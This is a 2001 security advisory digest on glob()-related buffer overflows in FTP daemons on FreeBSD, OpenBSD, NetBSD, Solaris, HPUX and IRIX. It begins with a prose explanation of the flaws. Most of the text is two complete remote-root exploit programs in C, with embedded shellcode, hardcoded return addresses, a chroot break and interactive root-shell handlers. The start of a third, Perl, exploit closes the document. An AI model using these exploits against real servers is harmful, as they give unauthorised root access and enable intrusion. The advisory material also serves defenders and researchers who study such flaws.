COMMAND

    ftpd

SYSTEMS AFFECTED

    Multiple FTP Daemons

PROBLEM

    Following is based  on a Network  Associates COVERT Labs  Security
    Advisory  COVERT-2001-02.   Multiple  FTP  server  implementations
    contain buffer overflows that allow local and remote attackers  to
    gain root privileges on  affected servers.  These  vulnerabilities
    are contingent upon the remote  user having the ability to  create
    directories  on  the  server  hosting  the  FTP  daemon,  with the
    exception  of  a  few  cases  noted  below.   The  vulnerabilities
    presented are all related to  the use of the glob()  function, and
    can be divided into the following two categories:
    - glob() expansion vulnerabilities
      User input that has been expanded by glob() can exceed  expected
      lengths  and  trigger  otherwise  benign  buffer   mismanagement
      problems present in certain FTP daemons.

    - glob() implementation vulnerabilities
      Certain implementations  of the  glob() function  contain buffer
      overflows.   These vulnerabilities  are exploitable  through FTP
      daemons that utilize these problematic implementations.

    The following  operating systems  have been  confirmed to  contain
    vulnerable FTP daemons:

        FreeBSD 4.2     CAN-2001-0247
        OpenBSD 2.8
        NetBSD  1.5
        IRIX    6.5.x
        HPUX    11      CAN-2001-0248
        Solaris 8       CAN-2001-0249

    glob()  implements  filename  pattern  matching,  following  rules
    similar to those used by Unix shells.  It is a pathname generator,
    which accepts  an input  pattern representing  a set  of filenames
    and returns a list of accessible pathnames matching that  pattern.
    The input  pattern is  specified by  using special metacharacters,
    taken from  the following:  *?[]{}~'.   For example,  a pattern of
    '/e*' would  match all  directories and  files in  the root of the
    file system that begin with the character 'e'.

    The File Transfer Protocol (FTP), as defined in RFC959,  describes
    numerous commands  with pathname  arguments that  specify files or
    directories.  Though it is not required by the specification, most
    FTP   daemon   implementations   provide   server-side    globbing
    functionality that performs pattern expansion on these  pathnames.
    The  actual  glob()  implementation  is  often  located in the FTP
    daemon  itself,  though  some  FTP  servers use an underlying libc
    implementation.

    The ability of a remote or local user to deliver input patterns to
    glob() implementations  allows for  two general  types of security
    exposures.

    glob() expansion vulnerabilities
    ================================
    A number  of vulnerabilities  result from  an FTP  daemon assuming
    that the  length of  the user  input is  limited to  the number of
    characters that are  read in from  the socket.   This is typically
    512 characters.  This  assumption is problematic because  most FTP
    daemons contain a parser  rule for processing pathnames  beginning
    with a tilde.  The intended effect of this rule is to replace  the
    tilde  directory  component  with  the  referenced home directory.
    However, since this is performed by running the string through the
    glob()  function,  the  FTP  daemon  will  also  expand  any other
    wildcard characters present.  This allows for user input that  can
    exceed the number of characters read in from the socket, which can
    make otherwise benign unbounded string operations exploitable.

    As  mentioned  above,  when  an  FTP  daemon  receives  a  request
    involving  a  file  that  has  a  tilde as its first character, it
    typically runs  the entire  filename string  through globbing code
    in  order  to  resolve  the  specified  home directory into a full
    path.  This has the side effect of expanding other  metacharacters
    in  the  pathname  string,  which  can  lead  to  very large input
    strings being  passed into  the main  command processing routines.
    This can lead to exploitable buffer overflow conditions, depending
    upon how these routines manipulate their input.

    In  Solaris,  an  exploitable  heap  overflow  of  this  nature is
    triggered by using  the LIST command.   This vulnerability  occurs
    when the FTP daemon attempts to construct a string using unbounded
    string operations in order to execute the /bin/ls program.

    HPUX contains a  stack based overflow  of this nature  that can be
    triggered by the use of the STAT command.

    glob() implementation vulnerabilities
    =====================================
    Certain glob() implementations  contain buffer overflows  in their
    internal  utility  functions.    These  overflows  are   typically
    triggered by  requesting a  pattern that  expands to  a very large
    pathname, or by submitting a pattern that the user intends to have
    the FTP daemon run through glob() twice.

    There are two implementations of glob() that are known to  contain
    buffer overflow vulnerabilities.

    Implementations based off of  the c-shell globbing code  contain a
    buffer  overflow  that  can  be  triggered  by supplying a pattern
    string such that a set of brackets {} is followed by a string that
    is longer  than the  length reserved  for the  stack based  buffer
    defined in  execbrc().   This could  be exploited  by utilizing  a
    code path in the  FTP daemon that fed  the expanded output of  one
    globbed pathname into a second call to glob().

    BSD  implementations  of  glob()  contain  four exploitable buffer
    overflows.  The first buffer overflow occurs in the static utility
    function g_opendir(), which copies the provided pathname onto  the
    stack.   This  is  performed  using  the  function  g_Ctoc,  which
    converts a 16-bit character  string to an 8-bit  character string,
    but  otherwise  works  like  strcpy.   Similar  overflows occur in
    g_lstat(), and g_stat().  A fourth overflow, one that affects  the
    stack  based  buffer  reserved  in  glob0,  is  the  result of the
    behavior of the mutually recursive functions glob2() and glob3().

    Note that these vulnerabilities do not require the last  component
    of  the  provided  directory  to  be  a  valid file, thus allowing
    exploitation even  without the  ability to  create directories and
    files.   Testing has  shown that  it would  be possible to exploit
    OpenBSD and NetBSD without a writable directory being present if a
    directory  name  with  a  length  of  12  characters is available.
    FreeBSD  can  be  exploited  without  a  writable  directory being
    present if a directory name of length 9 is available.

    Discovery and documentation of these vulnerabilities was conducted
    by John  McDonald and  Anthony Osborne  of the  COVERT Labs at PGP
    Security.

    Tomas Kindahl posted OpenBSD 2.8 ftpd/glob exploit:

    /*
    OpenBSD 2.x - 2.8 ftpd exploit.
      It is possible to exploit an anonymous ftp without write permission
      under certain circumstances. One is most likely to succeed if there
      is a single directory somewhere with more than 16 characters in its
      name.
      Of course, if one has write permissions, one could easily create
      such a directory.
      My return values aren't that good. Find your own.
      Patch is available at http://www.openbsd.org/errata.html
    Example:
      ftp> pwd
      257 "/test" is current directory.
      ftp> dir
      229 Entering Extended Passive Mode (|||12574|)
      150 Opening ASCII mode data connection for '/bin/ls'.
      total 2
      drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
      226 Transfer complete.
    .....
      $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
      // 230 Guest login ok, access restrictions apply.
      // 250 CWD command successful.
      retaddr = dfbeb970
      Press enter..
      remember to remove the "adfa"-dir
      id
      uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
    The shellcode basically does:
      seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
      chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
        chdir("..");
      chroot(".."); execve("/bin//sh", ..);
    Credits:
      COVERT for their advisory.
      The OpenBSD devteam for a great OS.
      beercan for letting me test this on his OpenBSD 2.8-RELEASE
    Author:
      Tomas Kindahl <stok@codefactory.se>
      Stok@{irc,ef}net
    */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>

    extern char *optarg;
    static int debug;
    int cflag, lflag, sflag;

    /* The execve-part was stolen from "predator" */
    char shellcode[] =
    "\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
    "\x58\x50\x66\x68\x2e\x2e\x89\xe1"
    "\x50\x51\x50\xb0\x05\xcd\x80\x89"
    "\xc3\x58\x50\x68\x61\x64\x66\x61"
    "\x89\xe2\x66\x68\x6d\x01\x52\x50"
    "\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
    "\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
    "\x80\x51\x50\x31\xc9\xb1\x64\xb0"
    "\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
    "\x80\x31\xc0\x50\x68\x2f\x2f\x73"
    "\x68\x68\x2f\x62\x69\x6e\x89\xe3"
    "\x50\x53\x50\x54\x53\xb0\x3b\x50"
    "\xcd\x80\xc3";

    #define USER "USER ftp\r\n"
    #define PASS "PASS -user@\r\n"

    void usage(const char *);
    void docmd(int s, const char *cmd, int print);
    void communicate(int s);

    int main(int argc, char *argv[])
    {
      char expbuf[512] = "LIST ", *basedir, option;
      char commandbuf[512] = "", *hostname;
      int cnt, dirlen, explen, sendlen;
      int s, port = 21, pad;
      long retaddr;
      struct sockaddr_in sin;
      struct hostent *he;

      while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
        switch(option)
          {
          case 'd':
            debug++;
            break;
          case 'c':
            cflag = 1;
            basedir = optarg;
            break;
          case 'l':
            lflag = 1;
            dirlen = atoi(optarg);
            if(dirlen < 16)
              {
                usage(argv[0]);
                exit(0);
              }
            break;
          case 'p':
            port = atoi(optarg);
            break;
          case 's':
            sflag = 1;
            retaddr = strtoul(optarg, 0, 0);
            break;
          default:
            usage(argv[0]);
            exit(0);
          }

      if(!cflag || !lflag)
        {
          usage(argv[0]);
          exit(0);
        }

      if(argc - optind == 1)
        hostname = argv[optind];
      else
        {
          usage(argv[0]);
          exit(0);
        }

      if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
          perror("socket");
          exit(1);
        }

      if((he = gethostbyname(hostname)) == NULL)
        {
          herror(hostname);
          exit(0);
        }
      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_port = htons(port);
      memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
      if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
        {
          perror("connect");
          exit(0);
        }

      if(debug)
        fprintf(stderr, "// basedir = \"%s\"\n", basedir);

      /* "untrusted input"? */
      for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
        strcat(expbuf, "*/../");
      strcat(expbuf, "*/");
      if(debug)
        fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);

      explen = cnt*(dirlen+4) + dirlen + 1;
      if(debug)
        fprintf(stderr, "// explen = %d\n", explen);

      sendlen = strlen(expbuf);
      if(debug)
        fprintf(stderr, "// sendlen = %d\n", sendlen);

      docmd(s, "", 0);

      docmd(s, USER, 0);
      docmd(s, PASS, 1);

      snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
      docmd(s, commandbuf, 1);


    /*************************/

      pad = 1027 - explen;
      if(debug)
        fprintf(stderr, "// pad = %d\n", pad);

      for(; pad >= 0; pad--)
        strcat(expbuf, "x");

      /* return address */
      if(!sflag)
        {
          switch(dirlen)
            {
            case 16:
              retaddr = 0xdfbeab60;
            case 26:
              retaddr = 0xdfbefe40;
            default:
              /* I don't have the patience to investigate this. */
              retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
            }
          retaddr+=20;
        }

      fprintf(stderr, "retaddr = %.8lx\n", retaddr);
      /* endian dependant */
      strncat(expbuf, (char *) &retaddr, 4);

      for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
        strcat(expbuf, "\x90");

      strcat(expbuf, shellcode);

      strcat(expbuf, "\r\n");
    /*************************/

      fprintf(stderr, "Press enter.."); fflush(stderr);
      fgets(commandbuf, sizeof(commandbuf)-1, stdin);

      docmd(s, expbuf, 0);

      fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
      communicate(s);

      return 0;
    }

    void usage(const char *s)
    {
      fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
    }

    void docmd(int s, const char *cmd, int print)
    {
      char uglybuf[1024];
      int len;
      fd_set rfds;
      struct timeval tv;

      len = strlen(cmd);
      if(debug)
        {
          write(STDERR_FILENO, "\\\\ ", 3);
          write(STDERR_FILENO, cmd, len);
        }
      if(send(s, cmd, len, 0) != len)
        {
          perror("send");
          exit(0);
        }

      FD_ZERO(&rfds);
      FD_SET(s, &rfds);
      tv.tv_sec = 1;
      tv.tv_usec = 0;
      select(s+1, &rfds, NULL, NULL, &tv);
      if(FD_ISSET(s, &rfds))
        {
          if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
            {
              perror("recv");
              exit(0);
            }
          if(len == 0)
            {
              fprintf(stderr, "EOF on socket. Sorry.\n");
              exit(0);
            }
          if(debug || print)
            {
              write(STDERR_FILENO, "// ", 3);
              write(STDERR_FILENO, uglybuf, len);
            }
        }
    }

    void communicate(int s)
    {
      char buf[1024];
      int len;
      fd_set rfds;

      while(1)
        {
          FD_ZERO(&rfds);
          FD_SET(STDIN_FILENO, &rfds);
          FD_SET(s, &rfds);
          select(s+1, &rfds, NULL, NULL, NULL);
          if(FD_ISSET(STDIN_FILENO, &rfds))
            {
              if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
                return;
              if(send(s, buf, len, 0) == -1)
                return;
            }
          if(FD_ISSET(s, &rfds))
            {
              if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
                return;
              if(write(STDOUT_FILENO, buf, len) == -1)
                return;
            }
        }
    }

    'fish stiqz' posted  following.  You  must have an  account on the
    system to be able to use the exploit.  You could theoretically  be
    an anonymous  user with  access to  a writeable  directory, but it
    would  require  a  chroot  break,  which  is  not  included in the
    exploit.   turkey2.c  works  by  default  on all unpatched FreeBSD
    4.[0-2] running the default ftp server and OpenBSD 2.8.  It should
    work elsewhere with a tiny bit of tuning.

    /*
     * turkey2.c - "gobble gobble"
     *
     * REMOTE ROOT EXPLOIT FOR BSD FTPD
     *   by: fish stiqz <fish@analog.org>   04/14/2001
     *
     * shouts: trey, dono, hampton and The Analog Organization.
     *
     * Notes:
     *  Doesn't break chroot so requires an account.
     *
     *  Fixed a design issue I had previously overlooked.
     *  Added support for OpenBSD 2.8 =).
     *
     */

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <time.h>
    #include <ctype.h>
    #include <pwd.h>


    #define FTP_PORT 21
    #define MAXX(a,b) ((a) < (b) ? (b) : (a))

    #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */

    extern int errno;

    int debug_read;
    int debug_write;


    /*
     * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve()
     * and does not contain any '/' characters.
     */
    char bsdcode[] =
    "\x29\xc0\x50\xb0\x17\x50\xcd\x80"
    "\x29\xc0\x50\xbf\x66\x69\x73\x68"
    "\x29\xf6\x66\xbe\x49\x46\x31\xfe"
    "\x56\xbe\x49\x0b\x1a\x06\x31\xfe"
    "\x56\x89\xe3\x50\x54\x50\x54\x53"
    "\xb0\x3b\x50\xcd\x80";


    /* architecture structure */
    struct arch {
        char *description;
        char *shellcode;
        unsigned long code_addr;
    };


    /* available targets */
    struct arch archlist[] =
    {
        { "FreeBSD 4.X (FTP server (Version 6.00LS))", bsdcode, 0xbfbfc2c8 },
        { "OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))", bsdcode, 0xdfbfa1c8 }
    };


    /*
     * function prototypes.
     */
    void *Malloc(size_t);
    void *Realloc(void *, size_t);
    char *Strdup(char *);
    int get_ip(struct in_addr *, char *);
    int tcp_connect(char *, unsigned int);
    ssize_t write_sock(int, char *);
    int sock_readline(int, char *, int);
    char *read_sock(int);
    int ftp_login(int, char *, char *);
    char *ftp_gethomedir(int);
    int ftp_mkdir(int, char *);
    int ftp_chdir(int, char *);
    int ftp_quit(int);
    void possibly_rooted(int);
    char *random_string(void);
    void send_glob(int, char *);
    int ftp_glob_exploit(int, char *, unsigned long, char *);
    int verify_shellcode(char *);
    void usage(char *);
    void list_targets(void);


    /*
     * Error cheq'n wrapper for malloc.
     */
    void *Malloc(size_t n)
    {
        void *tmp;

        if((tmp = malloc(n)) == NULL)
        {
            fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }

        return tmp;
    }


    /*
     * Error cheq'n realloc.
     */
    void *Realloc(void *ptr, size_t n)
    {
        void *tmp;

        if((tmp = realloc(ptr, n)) == NULL)
        {
            fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }

        return tmp;
    }


    /*
     * Error cheq'n strdup.
     */
    char *Strdup(char *str)
    {
        char *s;

        if((s = strdup(str)) == NULL)
        {
            fprintf(stderr, "strdup failed! exiting...\n");
            exit(EXIT_FAILURE);
        }

        return s;
    }


    /*
     * translates a host from its string representation (either in numbers
     * and dots notation or hostname format) into its binary ip address
     * and stores it in the in_addr struct passed in.
     *
     * return values: 0 on success, != 0 on failure.
     */
    int get_ip(struct in_addr *iaddr, char *host)
    {
        struct hostent *hp;

        /* first check to see if its in num-dot format */
        if(inet_aton(host, iaddr) != 0)
	    return 0;

        /* next, do a gethostbyname */
        if((hp = gethostbyname(host)) != NULL)
        {
	    if(hp->h_addr_list != NULL)
	    {
	        memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
	        return 0;
	    }
	    return -1;
        }

        return -1;
    }


    /*
     * initiates a tcp connection to the specified host (either in
     * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
     * to the host's tcp port.
     *
     * return values:  != -1 on success, -1 on failure.
     */
    int tcp_connect(char *host, unsigned int port)
    {
        int sock;
        struct sockaddr_in saddress;
        struct in_addr *iaddr;

        iaddr = Malloc(sizeof(struct in_addr));

        /* write the hostname information into the in_addr structure */
        if(get_ip(iaddr, host) != 0)
	    return -1;

        saddress.sin_addr.s_addr = iaddr->s_addr;
        saddress.sin_family      = AF_INET;
        saddress.sin_port        = htons(port);

        /* create the socket */
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	    return -1;

        /* make the connection */
        if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
        {
	    close(sock);
	    return -1;
        }

        /* everything succeeded, return the connected socket */
        return sock;
    }


    /*
     * a wrapper for write to enable us to do some debugging.
     */
    int write_sock(int fd, char *buf)
    {
        if(debug_write)
 	    printf(" > %s", buf);

        return write(fd, buf, strlen(buf));
    }

    /*
     * reads a line from the socket, stores it into buffer,
     * doesnt null terminate.
     */
    int sock_readline(int sock, char *buffer, int maxsize)
    {
        int x, r;
        char rchar;

        for(x = 0; x < maxsize; x++)
        {
	    /* read in one character from the socket */
	    if((r = read(sock, &rchar, 1)) == 1)
	    {
	        buffer[x] = rchar;

	        if(rchar == '\n')
		    break;
	    }
	    else
	        return -1;
        }

        return x;
    }

    /*
     * reads in an entire message from the ftp server.
     */
    char *read_sock(int sock)
    {
        char ibuf[8192], *bigbuf = NULL;
        int r;
        unsigned int total = 0;

        for(;;)
        {
	    memset(ibuf, 0x0, sizeof(ibuf));
	    r = sock_readline(sock, ibuf, sizeof(ibuf) - 1);

	    bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char));
	    memcpy(bigbuf + total, ibuf, strlen(ibuf));
	    bigbuf[total + strlen(ibuf)] = 0x0;
	    total += strlen(ibuf);

	    if(strlen(ibuf) < 4)
	        break;

	    /* multi-lined responses have a dash as the 4th character */
	    if(ibuf[3] != '-')
	        break;
        }

        if(debug_read)
        {
	    printf(" < %s", bigbuf);
	    fflush(stdout);
        }

        return bigbuf;

    }


    /*
     * FTP LOGIN function.  Issues a "USER <username> and then "PASS <password>"
     * to login to the remote host and checks that command succeeded.
     */
    int ftp_login(int sock, char *username, char *password)
    {
        char *recvbuf;
        char *sendbuf;
        char *header;

        header = read_sock(sock);
        printf("\tserver runs:\t%s", header);
        free(header);

        sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
		         sizeof(char));

        sprintf(sendbuf, "USER %s\n", username);

        write_sock(sock, sendbuf);
        recvbuf = read_sock(sock);

        if(atoi(recvbuf) != 331)
        {
	    free(recvbuf);
	    return 0;
        }

        sprintf(sendbuf, "PASS %s\n", password);
        write_sock(sock, sendbuf);
        recvbuf = read_sock(sock);

        if(atoi(recvbuf) != 230)
        {
	    free(recvbuf);
	    return 0;
        }

        free(sendbuf);
        return 1;

    }


    /*
     * FTP GET HOME DIR function.  Issues a "CWD ~" and "PWD" to
     * force the ftp daemon to print our our current directory.
     */
    char *ftp_gethomedir(int sock)
    {
        char *recvbuf;
        char *homedir = NULL;

        write_sock(sock, "CWD ~\n");
        recvbuf = read_sock(sock);

        if(atoi(recvbuf) == 250)
        {
	    write_sock(sock, "PWD\n");
	    recvbuf = read_sock(sock);

	    if(atoi(recvbuf) == 257)
	    {
	        char *front, *back;

	        front = strchr(recvbuf, '"');
	        front++;
	        back = strchr(front, '"');

	        homedir = Malloc((back - front) * sizeof(char));
	        strncpy(homedir, front, (back - front));
	        homedir[(back - front)] = 0x0;
	    }
        }

        free(recvbuf);
        return homedir;
    }


    /*
     * FTP MKDIR function.  Issues an "MKD <dirname>" to create a directory on
     * the remote host and checks that the command succeeded.
     */
    int ftp_mkdir(int sock, char *dirname)
    {
        char *recvbuf;
        char *sendbuf;

        sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
        sprintf(sendbuf, "MKD %s\n", dirname);

        write_sock(sock, sendbuf);
        recvbuf = read_sock(sock);

        free(sendbuf);

        if(atoi(recvbuf) == 257)
        {
	    free(recvbuf);
	    return 1;
        }

        free(recvbuf);
        return 0;
    }


    /*
     * FTP CWD function.  Issues a "CWD <dirname>" to change directory on
     * the remote host and checks that the command succeeded.
     */
    int ftp_chdir(int sock, char *dirname)
    {
        char *recvbuf;
        char *sendbuf;

        sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
        sprintf(sendbuf, "CWD %s\n", dirname);

        write_sock(sock, sendbuf);
        recvbuf = read_sock(sock);

        free(sendbuf);

        if(atoi(recvbuf) == 250)
        {
	    free(recvbuf);
	    return 1;
        }

        free(recvbuf);
        return 0;
    }


    /*
     * FTP QUIT function.  Issues a "QUIT" to terminate the connection.
     */
    int ftp_quit(int sock)
    {
        char *recvbuf;

        write_sock(sock, "QUIT\n");
        recvbuf = read_sock(sock);
        free(recvbuf);

        close(sock);
        return 1;
    }

    /*
     * switches between the user and the remote shell (if everything went well).
     */
    void possibly_rooted(int sock)
    {
        char banner[] =
	    "cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, "
	    "enter commands at will; echo;\n\n";

        char buf[1024];
        fd_set fds;
        int r;

        write(sock, banner, strlen(banner));

        for(;;)
        {
            FD_ZERO(&fds);
            FD_SET(fileno(stdin), &fds);
            FD_SET(sock, &fds);
            select(255, &fds, NULL, NULL, NULL);

            if(FD_ISSET(sock, &fds))
            {
                memset(buf, 0x0, sizeof(buf));
                r = read (sock, buf, sizeof(buf) - 1);
                if(r <= 0)
                {
                    printf("Connection closed.\n");
                    exit(EXIT_SUCCESS);
                }
                printf("%s", buf);
            }

            if(FD_ISSET(fileno(stdin), &fds))
            {
                memset(buf, 0x0, sizeof(buf));
                read(fileno(stdin), buf, sizeof(buf) - 1);
                write(sock, buf, strlen(buf));
            }
        }
        close(sock);
    }


    /*
     * generates a string of 6 random characters.
     * this is too allow for multiple successful runs, best way to do
     * this is to actually remove the created directories.
     */
    char *random_string(void)
    {
        int i;
        char *s = Malloc(7 * sizeof(char));

        srand(time(NULL));
        for(i = 0; i < 6; i++)
            s[i] = (rand() % (122 - 97)) + 97;

        s[i] = 0x0;
        return s;
    }


    /*
     * sends the glob string, to overflow the daemon.
     */
    void send_glob(int sock, char *front)
    {
        char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
        int i, j;

        for(i = 6, j = 0; i < 6 + 6; i++, j++)
	    globbed[i] = front[j];

        write_sock(sock, globbed);

        printf("[5] Globbed commands sent.\n");
        free(front);

        /* start our shell handler */
        possibly_rooted(sock);
    }


    /*
     * Exploitation routine.
     * Makes 4 large directories and then cwd's to them.
     */
    int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode)
    {
        char dir[300];
        int i = 0, j = 0;
        int total = strlen(homedir) + 1;
        int align;
        char *rstring = random_string();

        /* go to the writeable directory */
        if(!ftp_chdir(sock, homedir))
        {
	    fprintf(stderr, "[-] Failed to change directory, aborting!\n");
	    return 0;
        }

        for(i = 0; i < 4; i++)
        {
	    memset(dir, 0x0, sizeof(dir));

	    switch(i)
	    {
	    case 0: /* first dir == shellcode */
	        memcpy(dir, rstring, strlen(rstring));
	        memset(dir + strlen(rstring), NOP, 255 - strlen(rstring));
	        memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode));
	        break;

	    case 3: /* address buffer */
	        /* calculate the alignment */
	        align = total % sizeof(long);
	        align = sizeof(long) - align;

	        printf("[3] Calculated alignment = %d, total = %d\n",
		       align, total);

	        strcpy(dir, "XXXX");
	        memset(dir + 4, 'X', align);

	        for(j = 4 + align; j < 250; j += 4)
	        {
		    /* leet portable bit shifting */
		    /*   brought to you by trey   */
		    unsigned long p_addy = htonl(addy);
		    dir[j + 0] = p_addy & 0xff;
		    dir[j + 1] = (p_addy & 0xff00) >> 8;
		    dir[j + 2] = (p_addy & 0xff0000) >> 16;
		    dir[j + 3] = (p_addy & 0xff000000) >> 24;
	        }
	        break;

	    default: /* cases 1 and 2, extra overflow bytes */
	        memset(dir, 'X', 255);
	        break;

	    }

	    total += strlen(dir) + 1;

	    if(!ftp_mkdir(sock, dir))
	    {
	        fprintf(stderr, "[-] Failed to generate directories, aborting!\n");
	        return 0;
	    }

	    if(!ftp_chdir(sock, dir))
	    {
	        fprintf(stderr, "[-] Failed to change directory, aborting!\n");
	        return 0;
	    }
        }

        printf("[4] Evil directories created.\n");

        if(!ftp_chdir(sock, homedir))
        {
	    fprintf(stderr, "[-] Failed to cwd back to %s, aborting!\n", homedir);
	    return 0;
        }

        /* perform the final attack */
        send_glob(sock, rstring);

        return 1;
    }


    /*
     * returns true if the shellcode passes, false otherwise.
     */
    int verify_shellcode(char *code)
    {
        int i, s = 0;

        if(strlen(code) > 255)
        {
	    fprintf(stderr, "[-] Shellcode length exceeds 255, aborting!\n");
	    return 0;
        }

        for(i = 0; i < strlen(code); i++)
        {
	    if(code[i] == '/')
	        s++;
        }

        if(s > 0)
        {
	    fprintf(stderr,
		    "[-] Shellcode contains %u slash characters, aborting\n", s);
	    return 0;
        }

        return 1;
    }


    /*
     * displays the usage message and exits.
     */
    void usage(char *p)
    {
        fprintf(stderr,
	        "BSD ftpd remote exploit by fish stiqz <fish@analog.org>\n"
	        "usage: %s [options]\n"
	        "\t-c\tremote host to connect to\n"
	        "\t-o\tremote port to use\n"
	        "\t-u\tremote username\n"
	        "\t-p\tremote password\n"
	        "\t-i\tget the password interactively\n"
	        "\t-t\tpredefined target (\"-t list\" to list all targets)\n"
	        "\t-d\twriteable directory\n"
	        "\t-l\tshellcode address\n"
	        "\t-v\tdebug level [0-2]\n"
	        "\t-s\tseconds to sleep after login (debugging purposes)\n"
	        "\t-h\tdisplay this help\n", p);

        exit(EXIT_FAILURE);
    }

    /*
     * lists all available targets.
     */
    void list_targets(void)
    {
        int i;

        printf("Available Targets:\n");

        for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
            printf("%i: %s\n", i, archlist[i].description);

        return;
    }


    int main(int argc, char **argv)
    {
        int sock, c;
        int port       = FTP_PORT;
        int debuglevel = 0;
        char *host     = NULL;
        char *username = NULL;
        char *password = NULL;

        struct arch *arch       = NULL;
        char *shellcode         = bsdcode;
        int target              = 0;
        int sleep_time          = 0;
        unsigned long code_addr = 0;
        char *homedir           = NULL;;

        /* grab command line parameters */
        while((c = getopt(argc, argv, "c:o:u:p:it:d:l:v:s:h")) != EOF)
        {
	    switch(c)
	    {
	    case 'c':
	        host = Strdup(optarg);
	        break;

	    case 'o':
	        port = atoi(optarg);
	        break;

	    case 'u':
	        username = Strdup(optarg);
	        break;

	    case 'p':
	        password = Strdup(optarg);
	        /* hide the password from ps */
	        memset(optarg, 'X', strlen(optarg));
	        break;

	    case 'i':
	        password = getpass("Enter remote password: ");
	        break;

	    case 't':
	        if(strcmp(optarg, "list") == 0)
	        {
		    list_targets();
		    return EXIT_FAILURE;
	        }

	        target = atoi(optarg);
	        arch = &(archlist[target]);
	        code_addr = ntohl(arch->code_addr);
	        shellcode = arch->shellcode;
	        break;

	    case 'd':
	        homedir = Strdup(optarg);
	        break;

	    case 'l':
	        code_addr = ntohl(strtoul(optarg, NULL, 0));
	        break;

	    case 'v':
	        debuglevel = atoi(optarg);
	        break;

	    case 's':
	        sleep_time = atoi(optarg);
	        break;

	    default:
	        usage(argv[0]);
	        break;
	    }
        }


        /* check for required options */
        if(host == NULL || username == NULL || password == NULL || code_addr == 0)
	    usage(argv[0]);

        /* setup the debug level */
        switch(debuglevel)
        {
        case 1:
	    debug_read = 1;
	    debug_write = 0;
	    break;

        case 2:
	    debug_read = 1;
	    debug_write = 1;
	    break;

        default:
	    debug_read = 0;
	    debug_write = 0;
	    break;
        }

        /* make sure the shellcode is good */
        if(!verify_shellcode(shellcode))
	    return EXIT_FAILURE;

        /* initiate the tcp connection to the ftp server */
        if((sock = tcp_connect(host, port)) == -1)
        {
	    fprintf(stderr, "[-] Connection to %s failed!\n", host);
	    ftp_quit(sock);
	    return EXIT_FAILURE;
        }

        if(arch == NULL)
	    printf("[0] Connected to host %s.\n", host);
        else
	    printf("[0] Connected to host %s\n\tusing type:\t%s.\n",
	           host, arch->description);


        /* login */
        if(!ftp_login(sock, username, password))
        {
	    fprintf(stderr, "[-] Login failed, aborting!\n");
	    ftp_quit(sock);
	    return EXIT_FAILURE;
        }

        /* hey, so im anal! */
        memset(password, 'X', strlen(password));
        memset(username, 'X', strlen(username));

        printf("[1] Login succeeded.\n");

        if(sleep != 0)
	    sleep(sleep_time);

        if(homedir == NULL)
        {
	    /* get home directory */
	    if((homedir = ftp_gethomedir(sock)) == NULL)
	    {
	        fprintf(stderr, "[-] Couldn't retrieve home directory, aborting!\n");
	        ftp_quit(sock);
	        return EXIT_FAILURE;
	    }
        }

        printf("[2] Home directory retrieved as \"%s\", %u bytes.\n",
	       homedir, strlen(homedir));

        /* do the exploitation */
        if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))
        {
	    fprintf(stderr, "[-] exploit failed, aborting!\n");
	    ftp_quit(sock);
	    return EXIT_FAILURE;
        }


        free(host);
        return EXIT_SUCCESS;
    }

    This is another version of globbing exploit.  It creates only  one
    directory.

    #!/usr/bin/perl

    ###############################################################################
    # glob() ftpd remote root exploit for freebsd 4.2-stable                      #
    #                                                                             #
    # babcia padlina ltd. / venglin@freebsd.lublin.pl                             #
    #                                                                             #
